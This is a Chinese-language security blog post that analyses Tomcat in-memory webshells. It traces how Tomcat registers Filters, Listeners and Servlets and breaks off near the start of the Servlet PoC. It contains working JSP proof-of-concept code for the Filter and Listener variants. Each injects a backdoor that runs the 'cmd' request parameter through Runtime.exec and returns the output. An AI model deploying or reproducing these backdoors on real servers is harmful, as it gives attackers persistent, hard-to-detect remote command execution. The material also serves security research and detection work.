Tomcat 内存马分析(Servlet Filter Listener Valve)

java内存马概述

内存马的第一篇文章

内存马其实就是利用类加载或Agent机制在JavaEE、框架和中间件的API中动态注册一个可访问的后门

目前主要讨论的内存马主要分以下几种方式:

  • 动态注册 Servlet/Filter/Listener(使用Servlet-API的具体实现)
  • 动态注册 Interceptor/Controller(使用框架Spring/Struts2)
  • 动态注册使用职责链设计模式的中间件、框架的实现(比如 Tomcat 的Pipeline & Valve、Grizzly 的 FilterChain & Filter等)
  • 使用java agent技术写入字节码

Servlet相关可移步Servlet基础

分析

Filter

filterChain: 顾名思义,就是多个Filter串起来的Filter链,组合在一条链中并且按照一定的顺序执行

filterConfig: 封装了ServletContext对象和Filter的配置参数信息

filterMaps: 数组形式的filter路径映射信息,对应的是web.xml中的<filter-mapping>标签

filterDef: 存放了每个filter的信息,包括filterClass、filterName等,对应<filter>标签

Filter加载原理

其实就是使用动态写入Filter的方式写入Webshell,先添加一个Filter看一下调用链

image-20240118222229230

先看一下org.apache.catalina.core.ApplicationFilterChain#internalDoFilter关键部分,顾名思义,是调用filter链执行我们定义的每一个filter的,简单分析一下,接受request和response,首先判断pos和n,pos为当前走到了filterchain的位置,n代表filterchain的长度,我们只定义了一个filter而此时n为2,此时pos为0,将filters[0]赋给filterConfig,也就是获取当前filter的filterConfig,进入try获取到filter对象,然后判断如果请求支持异步但是filter并不支持的话就将全局的异步支持设置为false,然后判断全局是否开启了安全性,当前是没开启所以直接执行了filter对象的doFilter以此进入我们定义的doFilter

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
private void internalDoFilter(ServletRequest request, ServletResponse response)
        throws IOException, ServletException {

    // Call the next filter if there is one
    if (pos < n) {	//pos = 0, n = 2
        ApplicationFilterConfig filterConfig = filters[pos++];
        try {
            Filter filter = filterConfig.getFilter();

            if (request.isAsyncSupported() &&
                    "false".equalsIgnoreCase(filterConfig.getFilterDef().getAsyncSupported())) {
                request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE);
            }
            if (Globals.IS_SECURITY_ENABLED) {
                final ServletRequest req = request;
                final ServletResponse res = response;
                Principal principal = ((HttpServletRequest) req).getUserPrincipal();

                Object[] args = new Object[] { req, res, this };
                SecurityUtil.doAsPrivilege("doFilter", filter, classType, args, principal);
            } else {
                filter.doFilter(request, response, this);
            }
        } catch (IOException | ServletException | RuntimeException e) {
            throw e;
        } catch (Throwable e) {
            e = ExceptionUtils.unwrapInvocationTargetException(e);
            ExceptionUtils.handleThrowable(e);
            throw new ServletException(sm.getString("filterChain.filter"), e);
        }
        return;
    }
  	...
}

再往前追溯到org.apache.catalina.core.ApplicationFilterChain#doFilter,同样接受request,response,里面只进行了jvm是否开启了安全性判断,因此直接进入了上面的internalDoFilter

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public void doFilter(ServletRequest request, ServletResponse response) throws IOException, ServletException {

    if (Globals.IS_SECURITY_ENABLED) {
        final ServletRequest req = request;
        final ServletResponse res = response;
        try {
            java.security.AccessController.doPrivileged((java.security.PrivilegedExceptionAction<Void>) () -> {
                internalDoFilter(req, res);
                return null;
            });
        } catch (PrivilegedActionException pe) {
            Exception e = pe.getException();
            if (e instanceof ServletException) {
                throw (ServletException) e;
            } else if (e instanceof IOException) {
                throw (IOException) e;
            } else if (e instanceof RuntimeException) {
                throw (RuntimeException) e;
            } else {
                throw new ServletException(e.getMessage(), e);
            }
        }
    } else {
        internalDoFilter(request, response);
    }
}

往前,进入org.apache.catalina.core.StandardWrapperValve#invoke方法看一下,直接看重点部分,首先创建变量,初始化wrapper,也就是当前Container,并且分配一个servlet(allocate根据配置文件进行分配),然后获取到请求路径,创建filterChain,紧接着就是检查swallowOutput,也就是是否吞掉报错继续执行,这边直接进入else,检查是否为异步分派,同样进入else,调用了filterChain.doFilter方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
public void invoke(Request request, Response response) throws IOException, ServletException {
    
  	// Initialize local variables we may need
    boolean unavailable = false;
    Throwable throwable = null;
    // This should be a Request attribute...
    long t1 = System.currentTimeMillis();
    requestCount.incrementAndGet();
    StandardWrapper wrapper = (StandardWrapper) getContainer();
    Servlet servlet = null;
    Context context = (Context) wrapper.getParent();

    // Check for the application being marked unavailable
    if (!context.getState().isAvailable()) {
        response.sendError(HttpServletResponse.SC_SERVICE_UNAVAILABLE,
                sm.getString("standardContext.isUnavailable"));
        unavailable = true;
    }

    // Check for the servlet being marked unavailable
    if (!unavailable && wrapper.isUnavailable()) {
        container.getLogger().info(sm.getString("standardWrapper.isUnavailable", wrapper.getName()));
        checkWrapperAvailable(response, wrapper);
        unavailable = true;
    }

    // Allocate a servlet instance to process this request
    try {
        if (!unavailable) {
            servlet = wrapper.allocate();
        }
    } catch (UnavailableException e) {
        container.getLogger().error(sm.getString("standardWrapper.allocateException", wrapper.getName()), e);
        checkWrapperAvailable(response, wrapper);
    } catch (ServletException e) {
        container.getLogger().error(sm.getString("standardWrapper.allocateException", wrapper.getName()),
                StandardWrapper.getRootCause(e));
        throwable = e;
        exception(request, response, e);
    } catch (Throwable e) {
        ExceptionUtils.handleThrowable(e);
        container.getLogger().error(sm.getString("standardWrapper.allocateException", wrapper.getName()), e);
        throwable = e;
        exception(request, response, e);
        servlet = null;
    }
      
    MessageBytes requestPathMB = request.getRequestPathMB();
    DispatcherType dispatcherType = DispatcherType.REQUEST;
    if (request.getDispatcherType() == DispatcherType.ASYNC) {
        dispatcherType = DispatcherType.ASYNC;
    }
    request.setAttribute(Globals.DISPATCHER_TYPE_ATTR, dispatcherType);
    request.setAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR, requestPathMB);
    // Create the filter chain for this request
    ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);

    // Call the filter chain for this request
    // NOTE: This also calls the servlet's service() method
    Container container = this.container;
    try {
        if ((servlet != null) && (filterChain != null)) {
            // Swallow output if needed
            if (context.getSwallowOutput()) {
                try {
                    SystemLogHandler.startCapture();
                    if (request.isAsyncDispatching()) {
                        request.getAsyncContextInternal().doInternalDispatch();
                    } else {
                        filterChain.doFilter(request.getRequest(), response.getResponse());
                    }
                } finally {
                    String log = SystemLogHandler.stopCapture();
                    if (log != null && log.length() > 0) {
                        context.getLogger().info(log);
                    }
                }
            } else {
                if (request.isAsyncDispatching()) {
                    request.getAsyncContextInternal().doInternalDispatch();
                } else {
                    filterChain.doFilter(request.getRequest(), response.getResponse());
                }
            }

        }
    } ...
}

看一下filterChain的创建,接受request、wrapper、servlet实例,首先尝试去request中获取filterChain,没获取到的话就创建一个新的并添加到request中,然后配置filterChain的servlet对象为传入的servlet,然后从context中获取filterMaps(filter与url对照表),将filterMap中保存的filterConfig添加到当前filterChain中

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) {

    // If there is no servlet to execute, return null
    if (servlet == null) {
        return null;
    }

    // Create and initialize a filter chain object
    ApplicationFilterChain filterChain = null;
    if (request instanceof Request) {
        Request req = (Request) request;
        if (Globals.IS_SECURITY_ENABLED) {
            // Security: Do not recycle
            filterChain = new ApplicationFilterChain();
        } else {
            filterChain = (ApplicationFilterChain) req.getFilterChain();
            if (filterChain == null) {
                filterChain = new ApplicationFilterChain();
                req.setFilterChain(filterChain);
            }
        }
    } else {
        // Request dispatcher in use
        filterChain = new ApplicationFilterChain();
    }

    filterChain.setServlet(servlet);
    filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());

    // Acquire the filter mappings for this Context
    StandardContext context = (StandardContext) wrapper.getParent();
    filterChain.setDispatcherWrapsSameObject(context.getDispatcherWrapsSameObject());
    FilterMap filterMaps[] = context.findFilterMaps();

    // If there are no filter mappings, we are done
    if (filterMaps == null || filterMaps.length == 0) {
        return filterChain;
    }

    // Acquire the information we will need to match filter mappings
    DispatcherType dispatcher = (DispatcherType) request.getAttribute(Globals.DISPATCHER_TYPE_ATTR);

    String requestPath = null;
    Object attribute = request.getAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR);
    if (attribute != null) {
        requestPath = attribute.toString();
    }

    String servletName = wrapper.getName();

    // Add the relevant path-mapped filters to this filter chain
    for (FilterMap filterMap : filterMaps) {
        if (!matchDispatcher(filterMap, dispatcher)) {
            continue;
        }
        if (!matchFiltersURL(filterMap, requestPath)) {
            continue;
        }
        ApplicationFilterConfig filterConfig =
                (ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName());
        if (filterConfig == null) {
            // FIXME - log configuration problem
            continue;
        }
        filterChain.addFilter(filterConfig);
    }

    // Add filters that match on servlet name second
    for (FilterMap filterMap : filterMaps) {
        if (!matchDispatcher(filterMap, dispatcher)) {
            continue;
        }
        if (!matchFiltersServlet(filterMap, servletName)) {
            continue;
        }
        ApplicationFilterConfig filterConfig =
                (ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName());
        if (filterConfig == null) {
            // FIXME - log configuration problem
            continue;
        }
        filterChain.addFilter(filterConfig);
    }

    // Return the completed filter chain
    return filterChain;
}

这样流程串起来了,也就是说在处理servlet时,filterChain中存储了每个filter的filterConfig,然后自动执行filterChain的doFilter,在其中获取到每个filterConfig从而执行我们定义的filter。所以只要将恶意的filter添加进filterChain中,Tomcat就会自动帮我们初始化恶意filter

前面也说了,要创建filterChain,需要调用context的filterMaps,从中根据filter的名字获取filterConfig,看一下filterMaps创建

通过context.findFilterMaps进入StandardContext,方法中执行了类中的filterMaps.asArray()方法,通过内部类ContextFilterMaps类创建filter,就是在类中创建FilterMap,先创建了一个长度为0的FilterMap数组,内部的方法就是对这个array数组进行操作,本质上是创建了一个filterMap数组,那么接下来要找一下在哪里给context添加FilterMap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
public FilterMap[] findFilterMaps() {
    return filterMaps.asArray();
}

// filterMaps创建
private final ContextFilterMaps filterMaps = new ContextFilterMaps();

public FilterMap[] asArray() {
    synchronized (lock) {
        return array;
    }
}

// array创建
private FilterMap[] array = new FilterMap[0];

同样在StandardContext类中,找到这两个操作filterMap的方法,向filterMaps中添加filterMap的方法,添加之前对传入的filterMap进行了validateFilterMap操作,顾名思义应该是确认是正确FilterMap的,所以这边可以直接自己定义FilterMap然后通过addFilterMap添加到context中,validateFilterMap中调用findFilterDef来通过filterName从filterDefs中获取对应的filterDef,filterDefs本质是HashMap,里面存的是filterName和filterDef的键值对,通过类中addFilterDef方法向filterDefs中添加

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
@Override
public void addFilterMap(FilterMap filterMap) {
    validateFilterMap(filterMap);
    // Add this filter mapping to our registered set
    filterMaps.add(filterMap);
    fireContainerEvent("addFilterMap", filterMap);
}

@Override
public void addFilterMapBefore(FilterMap filterMap) {
    validateFilterMap(filterMap);
    // Add this filter mapping to our registered set
    filterMaps.addBefore(filterMap);
    fireContainerEvent("addFilterMap", filterMap);
}

private void validateFilterMap(FilterMap filterMap) {
    // Validate the proposed filter mapping
    String filterName = filterMap.getFilterName();
    String[] servletNames = filterMap.getServletNames();
    String[] urlPatterns = filterMap.getURLPatterns();
    if (findFilterDef(filterName) == null) {
        throw new IllegalArgumentException(sm.getString("standardContext.filterMap.name", filterName));
    }

    if (!filterMap.getMatchAllServletNames() && !filterMap.getMatchAllUrlPatterns() && (servletNames.length == 0) &&
            (urlPatterns.length == 0)) {
        throw new IllegalArgumentException(sm.getString("standardContext.filterMap.either"));
    }
    for (String urlPattern : urlPatterns) {
        if (!validateURLPattern(urlPattern)) {
            throw new IllegalArgumentException(sm.getString("standardContext.filterMap.pattern", urlPattern));
        }
    }
}

public FilterDef findFilterDef(String filterName) {
    synchronized (filterDefs) {
        return filterDefs.get(filterName);
    }
}

// filterDefs
private Map<String,FilterDef> filterDefs = new HashMap<>();

public void addFilterDef(FilterDef filterDef) {

    synchronized (filterDefs) {
        filterDefs.put(filterDef.getFilterName(), filterDef);
    }
    fireContainerEvent("addFilterDef", filterDef);

}

然后会过来看一下filterConfig,因为在创建filterChain时,最终是将context中的filterConfig放入filterChain,看一下StandardContext对于filterConfigs的操作,findFilterConfig是直接获取,filterStart从filterDefs中获取filterDef存入filterConfigs,但filterStart只在tomcat启动时调用,所以只能反射手动添加了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public FilterConfig findFilterConfig(String name) {
    synchronized (filterDefs) {
        return filterConfigs.get(name);
    }
}

public boolean filterStart() {

    if (getLogger().isDebugEnabled()) {
        getLogger().debug("Starting filters");
    }
    // Instantiate and record a FilterConfig for each defined filter
    boolean ok = true;
    synchronized (filterDefs) {
        filterConfigs.clear();
        for (Entry<String,FilterDef> entry : filterDefs.entrySet()) {
            String name = entry.getKey();
            if (getLogger().isDebugEnabled()) {
                getLogger().debug(" Starting filter '" + name + "'");
            }
            try {
                ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, entry.getValue());
                filterConfigs.put(name, filterConfig);
            } catch (Throwable t) {
                t = ExceptionUtils.unwrapInvocationTargetException(t);
                ExceptionUtils.handleThrowable(t);
                getLogger().error(sm.getString("standardContext.filterStart", name), t);
                ok = false;
            }
        }
    }

    return ok;
}

跟进ApplicationFilterConfig看一下,发现构造方法并不是公共的,所以需要反射去创建filterConfig

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
ApplicationFilterConfig(Context context, FilterDef filterDef)
        throws ClassCastException, ReflectiveOperationException, ServletException, NamingException,
        IllegalArgumentException, SecurityException {

    super();

    this.context = context;
    this.filterDef = filterDef;
    // Allocate a new filter instance if necessary
    if (filterDef.getFilter() == null) {
        getFilter();
    } else {
        this.filter = filterDef.getFilter();
        context.getInstanceManager().newInstance(filter);
        initFilter();
    }
}

StandardContext中对于filter的一些操作看下来了,简单来说就是向StandardContext中添加filterConfig,同时添加filterDef和filterMap在构造filterChain时使用,这样在初始化servlet时就会将我们的恶意类自动添加到filterChain中,从而自动执行我们的filter

最后一个问题就是如何获取到StandardContext,StandardContext类主要用来管理Web应用的一些全局资源,Tomcat在启动时会为每个Context创建一个ServletContext表示一个Context,因此可以获取servletContext再获取StandardContext

完整流程:

  1. 获取ServletContext,利用反射获取StandardContext
  2. 构造filterDef,将filter封装进FilterDef中,将filterDef传入StandardContext
  3. 构造FilterMap,传入StandardContext中
  4. 将filterDef封装进filterConfig中,并以反射形式传入StandardContext

PoC

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.*" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.*" %>
<%
    // my filter
    Filter myFilter = new Filter() {
        @Override
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws ServletException, IOException {
            String cmd = servletRequest.getParameter("cmd");
            if (cmd != null) {
                PrintWriter pw = servletResponse.getWriter();
                Process process = Runtime.getRuntime().exec(cmd);
                InputStream input = process.getInputStream();
                BufferedReader br = new BufferedReader(new InputStreamReader(input));
                String line = null;
                while ((line = br.readLine()) != null) {
                    pw.write(line);
                    System.out.println(line);
                }
                br.close();
                input.close();
                pw.write("\n");
            }

            filterChain.doFilter(servletRequest, servletResponse);
        }

        @Override
        public void init(FilterConfig filterConfig) throws ServletException {}

        @Override
        public void destroy() {}
    };

    // get StandardContext
    ServletContext servletContext = request.getSession().getServletContext();
    Field applicationContextField = servletContext.getClass().getDeclaredField("context");
    applicationContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext context = (StandardContext) standardContextField.get(applicationContext);

    // build filterDef and set filterDefs
    FilterDef filterDef = new FilterDef();
    filterDef.setFilterName("myFilter");
    filterDef.setFilterClass(myFilter.getClass().getName());
    filterDef.setFilter(myFilter);
    context.addFilterDef(filterDef);

    // build filterMap and set filterMaps
    FilterMap filterMap = new FilterMap();
    filterMap.setFilterName("myFilter");
    filterMap.addURLPattern("/*");
    filterMap.setDispatcher(DispatcherType.REQUEST.name());
    context.addFilterMapBefore(filterMap);

    // build filterConfig and set filterConfigs
    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
    constructor.setAccessible(true);
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(context, filterDef);
    Field filterConfigsField = context.getClass().getDeclaredField("filterConfigs");
    filterConfigsField.setAccessible(true);
    Map filterConfigs = (Map) filterConfigsField.get(context);
    filterConfigs.put("myFilter", filterConfig);

%>
<html>
<head>
    <title>Title</title>
</head>
<body>
fu
</body>
</html>

Listener

Listener根据事件原不同大概分为ServletContextListener、HttpSessionListener、ServletRequestListener三种

Listener加载原理

写个demo,以ServletRequestListener为例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
package org.example.servlettest;

import jakarta.servlet.ServletRequestEvent;
import jakarta.servlet.ServletRequestListener;
import jakarta.servlet.annotation.WebListener;

@WebListener
public class TestListener implements ServletRequestListener {
    public void requestInitialized(ServletRequestEvent sre) {
        System.out.println("Request Initialized");
    }

    public void requestDestroyed(ServletRequestEvent sre) {
        System.out.println("Request Destroyed");
    }
}

同样的下断点看一下,调用链如下

image-20240304103954371

往前走,进入StandardContext#fireRequestInitEvent

简单分析一下,传入request,首先通过getApplicationEvetnListeners(),顾名思义,获取所有的Listener,存到instances数组中,然后定义一个创建一个新的servletRequestEvent实例event,然后便利获取到的Listener,针对其中的ServletRequestListener执行requestInitialized,将event传入

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public boolean fireRequestInitEvent(ServletRequest request) {

    Object instances[] = getApplicationEventListeners();

    if ((instances != null) && (instances.length > 0)) {

        ServletRequestEvent event = new ServletRequestEvent(getServletContext(), request);

        for (Object instance : instances) {
            if (instance == null) {
                continue;
            }
            if (!(instance instanceof ServletRequestListener)) {
                continue;
            }
            ServletRequestListener listener = (ServletRequestListener) instance;

            try {
                listener.requestInitialized(event);
            } catch (Throwable t) {
                ExceptionUtils.handleThrowable(t);
                getLogger().error(
                        sm.getString("standardContext.requestListener.requestInit", instance.getClass().getName()),
                        t);
                request.setAttribute(RequestDispatcher.ERROR_EXCEPTION, t);
                return false;
            }
        }
    }
    return true;
}

先进入getApplicationEventListeners看一下,跟进一下applicationEventListenerList的相关操作方法,有公共的添加方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
@Override
public Object[] getApplicationEventListeners() {
    return applicationEventListenersList.toArray();
}

@Override
public void setApplicationEventListeners(Object listeners[]) {
    applicationEventListenersList.clear();
    if (listeners != null && listeners.length > 0) {
        applicationEventListenersList.addAll(Arrays.asList(listeners));
    }
}

public void addApplicationEventListener(Object listener) {
    applicationEventListenersList.add(listener);
}


@Override
public Object[] getApplicationLifecycleListeners() {
    return applicationLifecycleListenersObjects;
}

看一下ServletRequestEvent,继承EventObject,也就是java事件模型,可以直接定义,传入ServletContext和ServletRequest,存在一个构造方法和直接获取上面两个参数的方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package jakarta.servlet;

/**
 * Events of this kind indicate lifecycle events for a ServletRequest. The source of the event is the ServletContext of
 * this web application.
 *
 * @see ServletRequestListener
 * @since Servlet 2.4
 */
public class ServletRequestEvent extends java.util.EventObject {

    private static final long serialVersionUID = -7467864054698729101L;

    private final transient ServletRequest request;

    /**
     * Construct a ServletRequestEvent for the given ServletContext and ServletRequest.
     *
     * @param sc the ServletContext of the web application.
     * @param request the ServletRequest that is sending the event.
     */
    public ServletRequestEvent(ServletContext sc, ServletRequest request) {
        super(sc);
        this.request = request;
    }

    /**
     * Returns the ServletRequest that is changing.
     * 
     * @return the {@link ServletRequest} corresponding to this event.
     */
    public ServletRequest getServletRequest() {
        return this.request;
    }

    /**
     * Returns the ServletContext of this web application.
     *
     * @return the {@link ServletContext} for this web application.
     */
    public ServletContext getServletContext() {
        return (ServletContext) super.getSource();
    }
}

继续往前走,进入StandardHostValve#invoke,看重要部分,通过request.getContext(),获取当前request的Context,然后触发fireRequestInitEvent来初始化request的Listener

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public void invoke(Request request, Response response) throws IOException, ServletException {

    // Select the Context to be used for this Request
    Context context = request.getContext();
    if (context == null) {
        // Don't overwrite an existing error
        if (!response.isError()) {
            response.sendError(404);
        }
        return;
    }

    if (request.isAsyncSupported()) {
        request.setAsyncSupported(context.getPipeline().isAsyncSupported());
    }

    boolean asyncAtStart = request.isAsync();

    try {
        context.bind(Globals.IS_SECURITY_ENABLED, MY_CLASSLOADER);

        if (!asyncAtStart && !context.fireRequestInitEvent(request.getRequest())) {
          // Don't fire listeners during async processing (the listener
          // fired for the request that called startAsync()).
          // If a request init listener throws an exception, the request
          // is aborted.
          ...

(扩展:回显需要)还有一个问题就是ServletRequestListener并不包含传入的ServletRequest和ServletResponse,上面分析得到直接传入的ServletRequestEvent中可以通过getServletRequest()得到直接的ServletRequest,但ServletRequest是个接口,看一下传进去的具体是个什么东西,通过调试知道request为RequestFacade类

image-20240304143248400

跟进RequestFacade,实现了HttpServletRequest,所以直接通过ServletRequestEvent#getServletRequest()取得RequestFacade就可以

其次是response,RequestFacade中搜索一下response,没什么结果

RequestFacade中request是用Request定义

参考

image-20240304145554090

直接Request#getResponse()获取response

image-20240304150424998

整体跟下来,Listener中使用ServletRequestEvent获取request、response,然后获取到request以及StandardContext(同Filter)就可以动态加载listener

PoC

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.RequestFacade" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.*" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%
    // my listener
    ServletRequestListener myListener = new ServletRequestListener() {
        @Override
        public void requestInitialized(ServletRequestEvent sre) {
            try {
                // get request and response
                RequestFacade requestFacade = (RequestFacade) sre.getServletRequest();
                Field requestField = requestFacade.getClass().getDeclaredField("request");
                requestField.setAccessible(true);
                Request req = (Request) requestField.get(requestFacade);
                Response resp = req.getResponse();

                String cmd = req.getParameter("cmd");
                if (cmd != null) {
                    PrintWriter pw = resp.getWriter();
                    InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();
                    BufferedReader br = new BufferedReader(new InputStreamReader(is));
                    String line = null;
                    while((line = br.readLine()) != null) {
                        pw.write(line);
                    }
                    br.close();
                    is.close();
                    pw.write("\n");
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
        }

        @Override
        public void requestDestroyed(ServletRequestEvent sre) {
            ServletRequestListener.super.requestDestroyed(sre);
        }
    };

    // get StandardContext
    ServletContext servletContext = request.getSession().getServletContext();
    Field applicationContextField = servletContext.getClass().getDeclaredField("context");
    applicationContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext context = (StandardContext) standardContextField.get(applicationContext);

    context.addApplicationEventListener(myListener);
%>
<html>
<head>
    <title>Title</title>
</head>
<body>

</body>
</html>

Servlet

Servlet加载原理

分析一下Servlet加载流程

还是写个demo下断点看一下

image-20240306161842600

根据调用链可以知道访问某个额servlet对应的路由时,通过filter然后调用到相应servlet,这边在分析filter时分析过,直接往前看一下(看了一圈没有这边就不写了…XP)

换个思路,上面提到的Tomcat的基本结构从中可以得知StandardWrapper管理具体的某个Servlet,StandardContext会调用到StandardWrapper,简单搜索一下,定位到StandardContext创建StandardWrapper位置

image-20240306145612213

跟进createWrapper看一下,再看一下哪里调用了createWrapper,重点看一下ContextConfig,这个类是用于处理web配置文件的

image-20240306150615552

跟进看一下configContext方法,整个方法就是对context进行操作,通过传入的webxml配置设置上下文的各种属性,侧重看一下servlet的操作,便利从web配置文件中拿到的所有servlet,针对每个servlet利用上面提到的createWrapper创建了一个StandardWrapper实例,然后根据servlet的配置设置各种属性,最后使用addChild添加到context(一些重要的属性添加注释在代码中,其余都采用Servlet默认)。然后下面通过for循环使用addServletMappingDecoded对路由操作

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
for (ServletDef servlet : webxml.getServlets().values()) {
  
  	// create wrapper
    Wrapper wrapper = context.createWrapper();
    // Description is ignored
    // Display name is ignored
    // Icons are ignored

    // jsp-file gets passed to the JSP Servlet as an init-param
		
  	// check if load on startup
    if (servlet.getLoadOnStartup() != null) {
        wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
    }
  
  	// check if enabled
    if (servlet.getEnabled() != null) {
        wrapper.setEnabled(servlet.getEnabled().booleanValue());
    }
  	// set name
    wrapper.setName(servlet.getServletName());
  	//add all params
    Map<String,String> params = servlet.getParameterMap();
    for (Entry<String, String> entry : params.entrySet()) {
        wrapper.addInitParameter(entry.getKey(), entry.getValue());
    }
    wrapper.setRunAs(servlet.getRunAs());
    Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
    for (SecurityRoleRef roleRef : roleRefs) {
        wrapper.addSecurityReference(
                roleRef.getName(), roleRef.getLink());
    }
  
  	// set servletClass attribute
    wrapper.setServletClass(servlet.getServletClass());
    MultipartDef multipartdef = servlet.getMultipartDef();
    if (multipartdef != null) {
        long maxFileSize = -1;
        long maxRequestSize = -1;
        int fileSizeThreshold = 0;

        if(null != multipartdef.getMaxFileSize()) {
            maxFileSize = Long.parseLong(multipartdef.getMaxFileSize());
        }
        if(null != multipartdef.getMaxRequestSize()) {
            maxRequestSize = Long.parseLong(multipartdef.getMaxRequestSize());
        }
        if(null != multipartdef.getFileSizeThreshold()) {
            fileSizeThreshold = Integer.parseInt(multipartdef.getFileSizeThreshold());
        }

        wrapper.setMultipartConfigElement(new MultipartConfigElement(
                multipartdef.getLocation(),
                maxFileSize,
                maxRequestSize,
                fileSizeThreshold));
    }
    if (servlet.getAsyncSupported() != null) {
        wrapper.setAsyncSupported(
                servlet.getAsyncSupported().booleanValue());
    }
    wrapper.setOverridable(servlet.isOverridable());
  	// add to StandardContext
    context.addChild(wrapper);
}

// add route
for (Entry<String, String> entry :
                webxml.getServletMappings().entrySet()) {
    context.addServletMappingDecoded(entry.getKey(), entry.getValue());
}

因此自己构建servlet内存马的话需要先获取StandardContest,然后调用createWrapper构建一个StandardWrapper,再把恶意servlet放进去并且填充重要的属性最后再通过addChild()添加到StandardContext中,在通过addServletMappingDecoded添加路由即可

这样做构建好了并且放入了StandardContext中

根据思路写一版poc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<%@ page import="java.io.*" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
